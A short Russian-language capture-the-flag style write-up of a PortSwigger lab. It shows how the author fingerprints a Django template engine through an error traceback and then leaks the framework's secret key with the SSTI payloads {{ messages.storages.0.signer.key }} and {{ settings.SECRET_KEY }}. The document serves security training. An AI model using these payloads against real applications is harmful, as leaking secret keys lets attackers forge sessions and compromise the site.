На странице
apsyleg1 мин
#portswigger #ssti #web-security

SSTI с утечкой данных через объекты пользователя

Лаборатория

Server-side template injection with information disclosure via user-supplied objects · Expert

Решение

Дано

This lab is vulnerable to server-side template injection due to the way an object is being passed into the template. This vulnerability can be exploited to access sensitive data.

To solve the lab, steal and submit the framework's secret key.

You can log in to your own account using the following credentials:

Анализ задания

Есть сайт, уязвимый к SSTI. Нам дали пользователя, который, судя по всему, может редактировать шаблоны для движка шаблонизатора. Нам нужно подготовить такой payload, который позволит похитить secret key фреймворка. И внедрить этот payload в шаблон.

Разведка

Залогинимся под юзером, посмотрим что там. Заходим в любой товар — там есть кнопка «edit template». Там textarea — давай закинем payload {{7*'7'}}.

Traceback (most recent call last):
  File "<string>", line 11, in <module>
  File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 191, in __init__
    self.nodelist = self.compile_nodelist()
  File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 230, in compile_nodelist
    return parser.parse()
  File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 486, in parse
    raise self.error(token, e)
django.template.exceptions.TemplateSyntaxError: Could not parse the remainder: '*'7'' from '7*'7''

Ага, это Django Template Engine.

Эксплуатация

Идём на PayloadsAllTheThings, находим раздел про Django. В HackTricks, кстати, нет про него инфы.

{{ messages.storages.0.signer.key }}

Пусто.

А, payload оказывается проще:

{{ settings.SECRET_KEY }}

Лаба решена!